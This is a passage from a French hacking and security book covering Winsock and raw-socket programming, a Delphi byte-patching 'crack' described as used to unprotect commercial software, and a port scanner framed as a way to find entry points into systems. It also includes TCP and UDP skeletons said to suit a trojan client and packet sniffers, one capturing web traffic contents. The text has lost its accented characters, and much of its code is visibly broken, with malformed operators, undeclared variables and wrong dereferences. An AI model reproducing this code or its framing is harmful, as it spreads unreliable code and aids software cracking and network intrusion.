On programme ce pour quoi le client est cr Cette partie du programme dpend du dveloppeur de lapplication. Nous allons seulement voir 2 fonctions permettant de communiquer avec le serveur. La premire fonction est send( ) et sert envoyer des donnes, la deuxime est recv() et sert recevoir des donnes envoyes avec send( ). La syntaxe de send( ) est la suivante : int send(SOCKET s, const char FAR * buf, int len, int flags); Le 1er argument est le descripteur de socket. Le 2me argument est un espace mmoire qui contient la chane envoyer. Le 3me argument est la longueur de cet espace. Le 4me argument doit toujours tre mis a 0 car il nest pas trs important. La syntaxe de recv( ) est la suivante : int recv (SOCKET s, char FAR * buf, int len, int flags); Le 1er argument est le descripteur de socket. Le 2me argument est un espace mmoire qui va contenir la chane envoye avec send(). Le 3me argument est la longueur de cet espace. Le 4me argument doit toujours tre mis a 0 car il nest pas trs important. Voici un exemple de ces fonctions :
envoyer = send(socket, buffer, strlen(buffer), 0); recevoir = recv(socket, buffer, 512, 0);

Serveur
Pour allger le livre, nous allons seulement voir les lments nouveaux pour la cration du serveur. Car en revoyant le schmas de cration dun serveur, on remarque quil y a des ressemblances avec celui des clients.

190

On renomme le socket Pour associer le socket cr avec notre adresse rseau, il faut utiliser la fonction bind( ). Sa syntaxe est la suivante : int bind (SOCKET s, const struct sockaddr FAR * addr, int namelen); Le 1er argument est le descripteur de socket. Le 2me argument est une structure sockaddr Le 3me argument est la taille de cette structure. Voici un exemple de cette fonction :
bind(sock, (sockaddr *)&strutre, sizeof(struct sockaddr))

On le met sur coute Pour mettre le serveur en coute (en attente dune connexion), il faut utiliser la fonction listen( ). Sa syntaxe est la suivante : int listen (SOCKET s, int backlog); Le 1er argument est le descripteur de sockets. Le 2me argument est le nombre maximal de connexions (le maximum de clients que peut grer le serveur en mme temps). Voici un exemple de cette fonction :
listen(socket, 5) ;

On accepte la connexion Pour accepter des connexions de clients, on utilise la fonction accept( ). Sa syntaxe est la suivante : SOCKET accept (SOCKET s, struct sockaddr FAR *addr, int FAR *addrlen); Le 1er argument est le descripteur de socket. Le 2me argument est une structure de type sockaddr.

191

Le 3me argument est la taille du 2me argument. La structure du 2me argument est remplie par la fonction elle-mme. Voici un exemple de cette fonction :
accept(socket, (struct sockaddr *)&structure, &taille_struct)

192

193

Winsock (suite)
Winsock permet aussi de manipuler les raw sockets qui proposent des fonctions de programmation puissantes. On va pouvoir dvelopper de trs bons sniffers, des gnrateurs de paquets rseaux, des modificateurs den-tte de paquets passant par notre interface rseau On ne peut utiliser les raw sockets sans tre administrateur de la machine. Mais bien sr, sous Windows, on peut facilement contourner la pseudo restriction lie lutilisation des raw sockets. Comme chaque nouveau systme Windows, Microsoft change les moyens de restriction, tous les citer ne ferait qualourdir ce livre. Nous allons voir diffrentes fonctions permettant de manipuler les raw sockets puis nous allons nous attaquer au sujet mme. On cr le socket Pour cela, on utilise la fonction : WSASocket. Sa syntaxe est la suivante : SOCKET WSASocket (int af, int type, int protocol, LPWSAPROTOCOL_INFO lpProtocolInfo, GROUP g, DWORD dwFlags); Le 1er argument est la famille du socket. Le 2me argument est le type du socket (ici, a sera SOCK_RAW car on travail avec les raw sockets). Le 3me argument est le protocole utilis. Le 4me argument est une structure sur le socket cr. Le 5me argument est rempli par Windows (ne vous en proccupez pas, gnralement il faut mettre comme valeur: NULL). Le 6me argument permet de spcifier les attributs du socket qui va tre cr. On met des options au socket Pour cela, il faut utiliser la fonction setsockopt( ). Sa syntaxe est la suivante : int setsockopt (SOCKET s, int level, int optname,

194

const char FAR * optval, int optlen); Le 1er argument est le descripteur de socket. Le 2me argument est le niveau des options. Le 3me argument est loption/les options. Le 4me argument est un espace mmoire. Le 5me argument est la taille de cet espace mmoire. setsockopt( ) renvoie 0 si il russie mettre des options sur le socket, SOCKET_ERROR en cas derreur. On envoie un paquet Pour faire cela, il faut utiliser la fonction sendto( ). Sa syntaxe est la suivante : int sendto (SOCKET s, const char FAR * buf, int len, int flags, const struct sockaddr FAR *to, int tolen); Le 1er argument est le descripteur de socket. Le 2me argument est un buffer qui contient les lments envoyer. Le 3me argument est la taille de ce buffer. Le 4me argument est rserv et doit tre mis 0x0. Le 5me lment est une structure de type sockaddr. Le 6me argument est la taille de cette structure.

Raw sockets
IP
Voici un paquet IP :

195

Version

IHL Identificateur

TTL

Offset du Fragment Protocole Cheksum den-tte Adresse IP source Adresse IP cible Options / remplissage ( padding ) Zones de donnes

Type de service

Longueur du paquet Flags

Maintenant, voici la structure associe au protocole IP :


typedef struct iphdr {

unsigned char verlen;


unsigned unsigned unsigned unsigned unsigned unsigned unsigned unsigned unsigned }; char short short short char char short int int

// La
tos; tot_len; id; offset; ttl; protocol; checksum; saddr; daddr; // // // // // // // // //

version du protocole IP et la longueur de l' en-tte


Type de service Longueur du paquet identificateur Offset du Fragment TTL Protocole Cheksum IP source IP de destinataire

TCP
Voici un paquet TCP : port source port destination numro de squence accus de rception dcalage rserve urg ack psh rst syn fin donnes somme de contrle (checksum) options donnes Voici la structure associe au paquet TCP :
typedef struct tcphdr { unsigned short sport; unsigned short dport;

fentre pointeur de donnes urgentes remplissage (padding)

// port source // port destination

196

unsigned unsigned unsigned unsigned unsigned unsigned unsigned };

int int char char short short short

seqnum; acknum; dataoffset; flags; windows; checksum; urgpointer;

// numro de squence // accus de rception // dcalage des donnes // flags // fentre // checksum // pointeur de donnes urgentes

ICMP
Voici un paquet ICMP : Type ID Code Donnes Cheksum Numro de squence

Voici la structure associe au paquet ICMP :


typedef struct icmphdr { unsigned char type; unsigned char code; unsigned short checksum; unsigned short id; unsigned short sequence; unsigned long timestamp; } ;

// // // // // //

Type Code Checksum ID numro de squence timestamp

Pratique
Pour pouvoir utiliser les raw sockets, il va falloir remplir les membres des structures avec les bons paramtres puis placer la structure dans un tableau de caractres et envoyer le tout avec sendto( ). Voici un exemple de remplissage dune structure TCP :
tcp->sport tcp->dport tcp->seqnum tcp->acknum tcp->dataoffset tcp->flags tcp->window tcp->checksum tcp->urgpointer = = = = = = = = = htons(xx); htons(xx) ; htonl(xx); htonl(xx); (x) << x; 0x0xx; htons(xx); xxxxx; 0;

197

xxxx : sont remplacer par les lments que lon souhaite. Avant de terminer ce chapitre, nous allons voir une fonction qui permet de calculer le cheksum : un lment qui ne peut tre choisi au hasard. Voici le code :
u_short checksum(u_short *addr, int len){ register register register register int nleft = len; u_short *w = addr; u_short answer; int sum = 0;

while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1){ u_short u = 0; *(u_char *)(&u) = *(u_char *)w; sum += u; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); }

198

199

Partie IV : Dveloppement dutilitaires de scurit

200

Dans cette partie, nous allons tudier ensemble comment dvelopper certains outils pouvant servir scuriser des systmes et rseaux mais aussi pirater. Chacun de ces programmes ont t dvelopps par lauteur pour dautres projets et ne sont donc que des extraits de programmes plus complets et fonctionnels. Lutilisation de ces programmes dans un environnement autre que ceux pour lequel ils ont t crs risque de ne pas fonctionner. 4 programmes vont vous tre prsents : - un logiciel qui patch des octets dun programme (en Delphi), - un scanner de ports basique, - des squelettes de serveurs et clients TCP et UDP, - des sniffers.

201

202

Un crack
Si vous avez bien suivi la partie du livre consacre la scurit informatique, vous devriez normalement savoir ce quest un crack (on dit aussi patch). Mais le re-dire ne tuera personne !!! Un crack (ou patch) est un petit programme qui va modifier certains octets dun programme des offsets prcis dans le but de modifier son comportement dans un environnement donn ou lorsquune action survient. Les cracks sont gnralement utiliss pour dplomber des logiciels commerciaux. Le mini crack dvelopp en language Delphi a pour but de faire comprendre au lecteur comment il est possible de modifier des octets dun programme compil et non de donner un programme de base servant pirater des logiciels ( moins quils appartiennent celui qui teste ce crack).
var F : file of Byte; A : Byte;

begin assignfile(F , 'fichier.exe'); Reset(F); A := $[hexa_voulu]; seek(F,$[offset]); Write(F,A); closefile(F); end;

Tout au long de lexplication, jutiliserai le mot fichier la place du mot programme car les mthodes utilises peuvent aussi tre applicables des fichiers (bien que cela ne servirait rien de patcher des fichiers). En premier, on dclare les variables qui vont tre utilises dans la suite du code. file of Byte et Byte sont des types quil nest pas ncessaire de commenter car mme si cest de langlais, cest trs comprhensible. On a ensuite le code mme qui est toujours entour de begin et end; La premire procdure va associer la variable fichier FB au fichier ouvrir. Utiliser cette procdure est obligatoire avant davoir un accs squentiel au fichier ouvrir.
assignfile(F , 'fichier.exe');

203

La deuxime instruction ouvre le fichier en lecture. Comme vous allez le remarquer, pour accder au fichier, on utilise la variable fichier.
Reset(FB);

La troisime instruction va affecter la variable A, lhxa de la commande que lon souhaite mettre la place de celle existante.
A := $[hexa_voulu];

La quatrime instruction va placer un pointeur sur loffset modifier.


seek(F,$[offset]);

La cinquime instruction va crire notre hxa loffset o se trouve le pointeur de linstruction prcdente. Cest ici que lon patche le programme.
Write(F,A);

Pour finir, il faut fermer le fichier ouvert et patch.


closefile(F);

Le code prsent ne patch quun octet la fois, pour en pacther dautres il suffit de rpter les instructions le nombre de fois ncessaire.

204

205

Scanner de ports
Les scanners de ports sont trs importants pour savoir par quel port pntrer un systme. Pour plus dinformations sur le scan des ports, retournez aux premiers chapitres de la partie scurit informatique. Pour que les scanners de ports dterminent quels ports sont ouvert sur un systme, ils essaient de sy connecter laide dun socket. Si la connexion a russie, le port est ouvert, sinon il est ferm. Voici le code source : include <stdio.h> include <stdlib.h> include <netinet/in.h> include <netdb.h> include <sys/types.h> include <sys/socket.h> int main(int argv,char*argc[]) { int socket,i; struct sockaddr_in paq; struct hostent *dest; if(argv <= 1 || argv > 4) { printf("Problme dans le passage des arguments.\n\n"); printf("%s [nom_d' hte] [port_de_depart] [port_d_arriv] : permet de scanner les ports de l' cible",argc[0]); hte } if(argc>3) { dest =gethostbyname(argc[1]); if(dest = = NULL) { dest =gethostbyaddr(argc[1],4,AF_INET); } paq.sin_family = AF_INET; paq.sin_addr = *((struct in_addr *)paq -> h_addr); start = strtol(argc[2],(char**)NULL,10);

206

if(start = = NULL) { start = atoi(argc[2]); } end = strtol(argc[3],(char**)NULL,10); if(end = = NULL) { end = atoi(argc[3]); }

for(i = start; i <= end; i++) { paq.sin_port = htons(i); socket = socket(AF_INET,SOCK_STREAM,0); if((connect(socket,(struct sockaddr*)&paq,sizeof(struct sockaddr))) = = 0) { printf("Le port %i est ouvert sur %s",i,dest); } close(socket); } } En premier, on inclut les fichiers den-ttes dont on a besoin. include <stdio.h> include <stdlib.h> include <netinet/in.h> include <netdb.h> include <sys/types.h> include <sys/socket.h> Puis on dbute la boucle principale et on dclare les structures que lon va utiliser. int main(int argv,char*argc[]) { int socket,i; struct sockaddr_in paq; struct hostent *dest; Ensuite, on teste le nombre darguments que lutilisateur a pass au programme. Si il y en a moins de 1 ou plus de 4, alors il y a une erreur et on montre lutilisateur comment passer les arguments. if(argv <= 1 || argv > 4)

207

{ printf("Problme dans le passage des arguments.\n\n"); printf("%s [nom_d' hte] [port_de_depart] [port_d_arriv] : permet de scanner les ports de l' cible",argc[0]); hte } Si par contre lutilisateur a bien pass les arguments au programme, on va analyser les arguments et affecter leurs valeurs des variables pour que le programme puissent les traiter aisment. if(argc>3) { dest = gethostbyname(argc[1]); if(dest = =NULL) { dest =gethostbyaddr(argc[1],4,AF_INET); } paq.sin_family = AF_INET; paq.sin_addr = *((struct in_addr *)paq -> h_addr); start = strtol(argc[2],(char**)NULL,10); if(start = = NULL) { start = atoi(argc[2]); } end = strtol(argc[3],(char**)NULL,10); if(end = = NULL) { end = atoi(argc[3]); }

gethostbyname() va nous permettre davoir ladresse IP de la machine scanner. Si gethostbyname() na pas russi dterminer ladresse IP alors on utilise une autre fonction gethostbyaddr() . paq.sin_addr = *((struct in_addr *)paq -> h_addr); permet de mettre dans la structure du paquet sin ladresse IP de la machine scanner. Les fonctions strtol() et atoi() permettent de convertir la chane passe en argument en un entier. Pour finir, on va utiliser une boucle for qui va permettre de scanner les ports que lutilisateur veut. Dans cette boucle, on va placer dans la structure le port que lon

208

scanne, puis on cr un socket. Si on arrive se connecter au port de la machine laide du socket cr, on en conclut que le port est ouvert. for(i=start; i<=end; i++) { paq.sin_port = htons(i); socket = socket(AF_INET,SOCK_STREAM,0); if((connect(socket,(struct sockaddr*)&paq,sizeof(struct sockaddr))) = = 0) { printf("Le port %i est ouvert sur %s",i,dest); } close(socket); } }

209

210

Serveur TCP
Voici le code source : use Socket; use strict; $sv_adr = ""; $sv_port = "xx"; $sv_proto = "tcp"; print "Taper le nombre maximal de connexion que le serveur doit accepter:\n"; $conmax = <STDIN>; $adr = gethostbyname($sv_adr); if(!adr) { $adr = gethostbyaddr($sv_adr, AF_INET); unless(defined(adr)) { $adr = INADDR_ANY; } } $proto = getprotobyname($sv_proto); if(!$proto) { $proto = getprotobynumber($sv_proto); } $port = $sv_port; if(!port) { $port = getservbyname($sv_port, $proto); } socket(SERV_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de socket:$!\n"; setsockopt(SERV_SOCK, SOL_SOCKET, SO_REUSEADDR, pack("1",1)) || die "On ne peut mettre d' options sur le socket."; bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L' association n' pas pu avoir a

211

lieu."; listen(SERV_SOCK, $conmax) || die "Il y a eu une erreur !!!"; while(1) { accept(CHI_SOCK, SERV_SOCK); $dest = getpeername(CHI_SOCK) || die "Il y a eu une erreur !!!"; ($dport, $dadr) = unpack_sockaddr_in($dest); $ip_dest = inet_ntoa($dadr); if(fork != 0) { shutdown(CHI_SOCK, 2); } print "La connection du client $dadr sur le serveur $adr par le port $port du serveur a t accept\n"; shutdown(SERV_SOCK, 2); select(CHI_SOCK); $| = 1 (Ici est le service que fournit le serveur) } En premier, on va inclure les modules que lon va utiliser. use Socket; use strict; Puis on demande lutilisateur de choisir le nombre maximum de connexions que doit accepter le serveur. print "Taper le nombre maximal de connexion que le serveur doit accepter:\n"; $conmax = <STDIN>; Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et gethostbyaddr(), ladresse IP du serveur TCP auquel doit se connecter le client. $adr = gethostbyname($sv_adr); if(!adr) { $adr = gethostbyaddr($sv_adr, AF_INET); unless(defined(adr)) { $adr = INADDR_ANY; }

212

} On fait de mme pour dterminer le protocole laide des fonctions getprotobyname() et getprotobynumber(). $proto = getprotobyname($sv_proto); if(!$proto) { $proto = getprotobynumber($sv_proto); } Et pour dterminer le port du serveur auquel le client doit se connecter. $port = $sv_port; if(!port) { $port = getservbyname($sv_port, $proto); } Quand tout cela est fini, on va crer le socket, lui mettre des options (grce la fonction setsockopt()), lassocier un nom (grce la fonction bind()), et le mettre en coute (grce la fonction listen()). socket(SERV_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de socket:$!\n"; setsockopt(SERV_SOCK, SOL_SOCKET, SO_REUSEADDR, pack("1",1)) || die "On ne peut mettre d' options sur le socket."; bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L' association n' pas pu avoir a lieu."; listen(SERV_SOCK, $conmax) || die "Il y a eu une erreur !!!"; Maintenant, on va soccuper de la manire dont le serveur va soccuper des clients. On code une boucle infinie. while(1) { On accepte une connexion sur le socket, et crer un nouveau descripteur de socket. accept(CHI_SOCK, SERV_SOCK); On va essayer davoir des informations sur le client qui se trouve lautre extrmit du socket : comme son adresse IP et son port. $dest = getpeername(CHI_SOCK) || die "Il y a eu une erreur !!!";

213

($dport, $dadr) = unpack_sockaddr_in($dest); $ip_dest = inet_ntoa($dadr); Puis, on duplique le processus et le processus pre referme le socket CHI_SOCK car il en a plus besoin. En effet, cest le processus fils qui dialoguera avec le client. if(fork != 0) { shutdown(CHI_SOCK, 2); } On affiche un petit message lutilisateur du serveur pour lui dire que la connexion est accepte. print "La connection du client $dadr sur le serveur $adr par le port $port du serveur a t accept\n"; Comme le processus fils na plus besoin du socket de base, il peut donc le fermer. shutdown(SERV_SOCK, 2); Maintenant, le serveur peut rendre le service pour lequel il a t cr. On va seulement slectionner le socket comme sortie standard pour pouvoir crire facilement des messages au client laide de la fonction print. select(CHI_SOCK); $| = 1 }

214

215

Client TCP
Dabord quelques informations thoriques. Les clients sont des logiciels qui vont se connecter un serveur et vont profiter des services quoffre le serveur. Voici le code source : use Socket; use strict; $sv_adr = "xx"; $sv_port = "xx"; $sv_proto = "tcp"; $adr = gethostbyname($sv_adr); if(!adr) { $adr = gethostbyaddr($sv_adr, AF_INET); unless(defined(adr)) { $adr = INADDR_ANY; } } $proto = getprotobyname($sv_proto); if(!$proto) { $proto = getprotobynumber($sv_proto); } $port = $sv_port; if(!port) { $port = getservbyname($sv_port, $proto); } socket(CLIENT_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de socket:$!\n";

216

connect(CLIENT_SOCK, sockaddr_in($port, $adr)) || or die "Probleme lors de la connexion"; select(CLIENT_SOCK); $| = 1 (Ici ce pour quoi le client a t dvelopp. ATTENTION, pour crire des messages au serveur, utiliser l' instruction print suivi du message.) shutdown(CLIENT_SOCK, 2); En premier, on va inclure les modules que lon va utiliser. use Socket; use strict; Ensuite on va essayer de dterminer, laide des fonctions gethostbyname() et gethostbyaddr(), ladresse IP du serveur TCP auquel doit se connecter le client. $adr = gethostbyname($sv_adr); if(!adr) { $adr = gethostbyaddr($sv_adr, AF_INET); unless(defined(adr)) { $adr = INADDR_ANY; } } On fait de mme pour dterminer le protocole laide des fonctions getprotobyname() et getprotobynumber(). $proto = getprotobyname($sv_proto); if(!$proto) { $proto = getprotobynumber($sv_proto); } Et pour dterminer le port du serveur auquel le client doit se connecter. $port = $sv_port; if(!port) { $port = getservbyname($sv_port, $proto); }

217

Quand tout est prt, on va crer un socket et on le connecte au socket en coute du serveur. socket(CLIENT_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de socket:$!\n"; connect(CLIENT_SOCK, sockaddr_in($port, $adr)) || or die "Probleme lors de la connexion"; Les 2 instructions suivantes slectionnent le serveur comme sortie standard pour pouvoir crire facilement des messages au serveur laide de la fonction print. select(CLIENT_SOCK); $| = 1 Maintenant, vous devez coder ce pour quoi le serveur a t cr. Quand le client est finit, il faut fermer le socket. shutdown(CLIENT_SOCK, 2); Ce code doit pouvoir marcher pour toutes les situations, on peut donc sen servir pour crer des applications clients en tout genre (aussi bien client http, que client dun troyen).

218

219

Serveur UDP
Avec le protocole UDP, on ne peut pas vraiment parler de serveur, car les 2 parties ( clients et serveurs ) ne font quenvoyer les paquets sans tablire de connexions. Voici le code source : use Socket; use strict; $sv_adr = ""; $sv_port = "xx"; $sv_proto = "udp"; $adr = gethostbyname($sv_adr); if(!adr) { $adr = gethostbyaddr($sv_adr, AF_INET); unless(defined(adr)) { $adr = INADDR_ANY; } } $proto = getprotobyname($sv_proto); if(!$proto) { $proto = getprotobynumber($sv_proto); } $port = $sv_port; if(!port) { $port = getservbyname($sv_port, $proto); } socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de socket:$!\n"; bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L' association n' pas pu avoir a lieu.";

220

while(1) { (Ici ce pour quoi le serveur a t programm, ATTENTION, on envoie et reoit des donnes l' des fonction send() et recv()) aide } En premier, on va inclure les modules que lon va utiliser. use Socket; use strict; Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et gethostbyaddr(), ladresse IP du serveur UDP. $adr = gethostbyname($sv_adr); if(!adr) { $adr = gethostbyaddr($sv_adr, AF_INET); unless(defined(adr)) { $adr = INADDR_ANY; } } On fait de mme pour dterminer le protocole laide des fonctions getprotobyname() et getprotobynumber(). $proto = getprotobyname($sv_proto); if(!$proto) { $proto = getprotobynumber($sv_proto); } Et pour dterminer le port du serveur auquel le client doit se connecter. $port = $sv_port; if(!port) { $port = getservbyname($sv_port, $proto); } Quand tout est prt, on va crer un socket et on lassocie un nom.

221

socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de socket:$!\n"; bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L' association n' pas pu avoir a lieu."; Puis on code ce pour quoi le serveur a t dvelopp. while(1) { (Ici ce pour quoi le serveur a t programm, ATTENTION, on envoie et reoit des donnes l' des fonction send() et recv()) aide }

222

223

Client UDP
Voici le code source : use Socket; use strict; $sv_adr = ""; $sv_port = "xx"; $sv_proto = "udp"; $adr = gethostbyname($sv_adr); if(!adr) { $adr = gethostbyaddr($sv_adr, AF_INET); unless(defined(adr)) { $adr = INADDR_ANY; } } $proto = getprotobyname($sv_proto); if(!$proto) { $proto = getprotobynumber($sv_proto); } $port = $sv_port; if(!port) { $port = getservbyname($sv_port, $proto); } socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de socket:$!\n"; while(<>) { (Ici ce pour quoi le client a t programm. ATTENTION, on envoie et reoit des donnes l' des fonction send() et recv()) aide

224

} En premier, on va inclure les modules que lon va utiliser. use Socket; use strict; Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et gethostbyaddr(), ladresse IP du serveur UDP. $adr = gethostbyname($sv_adr); if(!adr) { $adr = gethostbyaddr($sv_adr, AF_INET); unless(defined(adr)) { $adr = INADDR_ANY; } } On fait de mme pour dterminer le protocole laide des fonctions getprotobyname() et getprotobynumber(). $proto = getprotobyname($sv_proto); if(!$proto) { $proto = getprotobynumber($sv_proto); } Et pour dterminer le port du serveur auquel le client doit se connecter. $port = $sv_port; if(!port) { $port = getservbyname($sv_port, $proto); } Quand tout est prt, on cr un socket. socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de socket:$!\n"; Pour finir, on code ce pourquoi le serveur a t cr.

225

while(<>) { (Ici ce pour quoi le client a t programm. ATTENTION, on envoie et reoit des donnes l' des fonction send() et recv()) aide }

226

227

sniffers
Un sniffer est un logiciel qui va capturer les paquets rseaux passant par linterface rseau choisie. Il existe pleins de sniffers tlcharger sur internet ou acheter mais ce chapitre vous propose de dvelopper votre sniffer laide du language C et Perl. Pour le language C, il faudra aussi packet.dll fournit avec la SDK de winpcap, si vous voulez utiliser le sniffer sous windows. Bon, voici le code source : include <stdlib.h> include <stdio.h> include <pcap.h> int main() { char erreur[PCAP_ERRBUF_SIZE]; pcap_t *paq; char dev; struct pcap_pkthdr head; const unsigned char *paquet; int a,b; struct ether_header *header; s = sizeof(struct ether_header); bpf_u_int32 adr, masque; dev = pcap_lookupdev(erreur); paq = pcap_open_live(dev,1500,1,1000,erreur); if(!paq) { printf("Problmes lors de l' ouverture du descripteur de paquets\n"); return -1; } pcap_lookupnet(dev,&adr,&masque,erreur); if(adr) { printf("Voici l' adresse de l' interface par dfaut: %x\n",adr); }

228

if(masque) { printf("Voici le masque de rseau de l' interface par dfaut: %x\n",masque); } printf("Voici les paquets sniffs\n"); while(1) { paquet = pcap_next(paq,&head); if(head.caplen < s) continue; header = (struct ether_header *)paquet; for(a=0; a<ETH_ALEN; a++) printf("%s%02x",a==0 ? "" : ":",header->ether_shost[a]); for(a=0; a<ETH_ALEN; a++) printf("--->%s%02x",a==0 ? "" : ":",header->ether_dhost[a]); printf("Le paquet sniff est de type: %d\n",header->ether_type); } } En premier, on commence par inclure les fichiers den-ttes. include <stdlib.h> include <stdio.h> include <pcap.h> Ensuite, on dbute la boucle principale et on dclare les variables et structures qui seront utilises dans le programme. int main() { char erreur[PCAP_ERRBUF_SIZE]; /* Cest ici que sont situes les erreurs. PCAP_ERRBUF_SIZE est la taille de ce buffer et est dfini das pcap.h.*/ pcap_t *paq; /* Cest le descripteur de paquets utilis par pcap_open_live*/ char dev; /* Cest ici que sera stock linterface par dfaut */ struct pcap_pkthdr head; /* Cest une structure qui contient les en-ttes de paquets */ const unsigned char *paquet; /* Cest ici que sera contenu le paquet captur */ int a,b; /* Ce sont des variables tests et sans importances */ struct ether_header *header; /* Cest une structure qui contient les en-ttes des paquets ethernet */ s = sizeof(struct ether_header); /* Cest la taille des en-ttes ethernet */

229

bpf_u_int32 adr, masque; /* Ce sont des entiers spciaux qui sont remplis par la fonction pcap_lookupnet */ La premire fonction retourne le nom dune interface rseau pouvant tre utilise par pcap_open_live. dev = pcap_lookupdev(erreur); La suivante permet dobtenir un descripteur de paquets pour pouvoir capturer les paquets passant sur le rseau. paq = pcap_open_live(dev,1500,1,1000,erreur); Le premier if permet de tester la russite ou non de pcap_open_live(). if(!paq) { printf("Problmes lors de l' ouverture du descripteur de paquets\n"); return -1; } La fonction suivante permet dobtenir ladresse rseau et le masque de rseau de linterface rseau choisie. On retrouve nos variables spciales qui ne doivent pas avoir de valeurs avant dtre passes en arguments la fonction. pcap_lookupnet(dev,&adr,&masque,erreur); Les if suivant testent la russite de pcap_lookupnet et retournent les informations que contiennent les 2 variables spciales. if(adr) { printf("Voici l' adresse de l' interface par dfaut: %x\n",adr); } if(masque) { printf("Voici le masque de rseau de l' interface par dfaut: %x\n",masque); } Pour traiter les paquets circulant sur le rseau, on ouvre une boucle infinie. while(1) { Puis on utilise la fonction pcap_next() pour capturer un paquet. paquet = pcap_next(paq,&head);

230

Et on affiche les informations du paquets pour quelles soient vues par lutilisateur. if(head.caplen < s) continue; header = (struct ether_header *)paquet; for(a=0; a<ETH_ALEN; a++) printf("%s%02x",a==0 ? "" : ":",header->ether_shost[a]); for(a=0; a<ETH_ALEN; a++) printf("--->%s%02x",a==0 ? "" : ":",header->ether_dhost[a]); printf("Le paquet sniff est de type: %d\n",header->ether_type); }

Voici, on vient de dvelopper un sniffer basic mais qui, normalement, marche. Pour lamliorer, on pourrait ajouter un code qui afficherait les statistiques de capture des paquets. De plus on a pas dot le sniffer dune fonction arrtant la capture. Maintenant, on va voir 2 sniffers diffrents, programms en Perl. Ils ne seront pas comments et vous aurez comme exercice de le faire partir de tout ce quon a vu dans ce livre. Aprs cela, vous serez mme de dvelopper vos propres sniffers en C, en Perl et dans dautres languages car vous aurez compris comment les sniifers fonctionnent.

1er sniffer :
use strict; use English; use ExtUtils::testlib; use Net::Pcap; //---------------------------dclarations---------------------------------// my($dev, $pcap_t, $pcap_dumper_t, $err, $filter, $strf, $mask, $net, $res, $paq, $lnet); my $dumpfile = "-"; //---------------------------ici, c' une routine--------------------------------// est sub process_pkt { my($user, $hdr, $pkt) = @_;

231

if (($user ne "khaalel") or !defined($hdr) or !defined($pkt)) { print("Problme avec Les arguments passs la fonction\n"); print("Problme avec les donnes de l' utilisateur\n") if ($user ne "khaalel"); print("Problme avec les en-ttes du paquet\n") unless (defined($hdr)); print("Problme avec les donnes du paquet\n") unless (defined($pkt)); exit 0; } Net::Pcap::dump($pcap_dumper_t, $hdr, $pkt); } //----------------------le dbut: des trucs de rseau-----------------------------------// print("Quel est le protocole dont vous voulez sniffer les paquets?\nVous avez le choix entre tcp, ip et udp\n"); $strf = <STDIN> $dev = Net::Pcap::lookupdev(\$err); $lnet = Net::Pcap::lookupnet($dev, \$net, \$mask, \$err); if (lnet = = 0) { print("Voici quelques informations sur votre interface rseau\n"); print("Voici l' adresse de l' interface rseau: $net\n"); print("Voici l' adresse du masque de rseau: $mask\n); } else { print("Erreur avec Net::Pcap::lookupnet\n); } $pcap_t = Net::Pcap::open_live($dev, 1500, 1, 0, \$err); unles (defined($pcap_t)) { print("Erreur de Net::Pcap::open_live\n"); exit 0; } $res = Net::Pcap::compile($pcap_t, \$filter, $strf, 0, $mask); if ($result = = -1) { print("Erreur avec Net::Pcap::compile\n"); exit 0; } $res = Net::Pcap::setfilter($pcap_t, $filter); if ($result = = -1) { print("Erreur avec Net::Pcap::setfilter\n"); exit 0;

232

} //--------------------on chope les paquets------------------------// while ($paq = Net::Pcap::next($pcap_t, \%hdr)) { $pcap_dumper_t = Net::Pcap::dump_open($pcap_t, $dumpfile); unless (defined($pcap_dumper_t)) { print("Erreur avec Net::Pcap::dump_open\n"); exit 0; } Net::Pcap::loop($pcap_t, -1, \&process_pkt, "khaalel"); Net::Pcap::dump_close($pcap_dumper_t); } Net::Pcap::close($pcap_t);

2me sniffer :
use Net::RawIP; use Socket; $a = new Net::RawIP; $pcap = $a->pcapinit("eth0", "proto \\tcp and ( dst port 80 or dst port 8080)",1500,30); loop $pcap,-1,\&dumpit,\@a; sub dumpit { $a->bset(substr($_[2],14)); ($ipsrc,$ipdst,$source,$dest,$data) = $a->get( { ip=>[qw(saddr daddr)], tcp=>[qw(data source dest)]} ); print inet_ntoa(pack("N",$ipsrc))," [$source] -> ", inet_ntoa(pack("N",$ipdst))." [$dest]\n"; print "$data"\n"; };

233

234

Partie V : Annexes

235

Cette dernire partie a en mme temps un rle de conclusion (avec le chapitre sur les principes importants de scurit) mais introduit aussi de nouvelles notions que vous pourrez completer avec dautres livres traitant des sujets prsents.

236

237

Principes de scurit
Dans ce chapitre, nous allons voir ensemble comment minimiser les problmes dues aux pirates informatiques. Nous allons dans un premier temps voir les traces que nous laissons derrire nous aprs avoir surf sur internet et comment les enlever, puis nous allons voir 2 types d' attaques pouvant tre portes envers les navigateurs. Dans un deuxme temps, nous allons voir comment se scuriser en local grce des IDS, des firewall, des antivirus, et des architectures rseau scurises Pour finir, nous allons voir comment mener une bonne politique de scurit, aussi bien en entreprise, en petit rseau local ou en famille. Ce chapitre est compltement et totalement orient scurit des systmes et des personnes.

traces du Web :
les traces locales :
adresses des sites visits : Elles sont contenus dans la barre dadresses et permettent de retourner sur un site sans retaper son adresse. Pour visiter un site sans que ladresse ne figure dans la barre dadresse, il vous faut aller sur ce site laide de Ouvrir du menu Fichier. Pour effacer les adresses contenues dans la barre droulante de la barre dadresses, il vous suffit daller dans Outils/Options Internet/Contenu/Saisie semi-automatique et deffacer les formulaires et mots de passe.

238

239

